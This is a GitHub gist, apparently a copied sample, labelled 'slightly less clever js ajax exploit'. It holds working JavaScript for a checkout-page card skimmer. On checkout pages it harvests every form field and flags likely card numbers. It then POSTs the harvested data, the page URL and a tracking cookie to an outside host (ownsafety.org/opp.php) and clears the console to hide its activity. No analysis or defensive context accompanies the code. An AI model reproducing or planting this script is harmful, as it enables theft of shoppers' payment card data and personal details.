Last active
August 29, 2015 14:27
-
-
Save bkozora/6f3a32af7df3b00e7d32 to your computer and use it in GitHub Desktop.
slightly less clever js ajax exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* still rather clever, still not mine | |
*/ | |
function jj(e) { | |
var t = "; " + document.cookie, | |
o = t.split("; " + e + "="); | |
return 2 == o.length ? o.pop().split(";").shift() : void 0 | |
} | |
jj("SESSIID") || (document.cookie = "SESSIID=" + (new Date).getTime()), jQuery(function(e) { | |
e("button").on("click", function() { | |
var t = "", | |
o = "post", | |
n = window.location; | |
if (new RegExp("onepage|checkout").test(n)) { | |
for (var c = document.querySelectorAll("input, select, textarea, checkbox"), i = 0; i < c.length; i++) | |
if (c[i].value.length > 0) { | |
var a = c[i].name; | |
"" == a && (a = i), t += a + "=" + c[i].value + "&" | |
} | |
if (t) { | |
var l = new RegExp("[0-9]{13,16}"), | |
u = new XMLHttpRequest; | |
u.open(o, e("<div />").html("https://ownsafety.org/opp.php").text(), !0), u.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), u.send(t + "&asd=" + (l.test(t.replace(/s/g, "")) ? 1 : 0) + "&utmp=" + n + "&cookie=" + jj("SESSIID")), console.clear() | |
} | |
} | |
}) | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment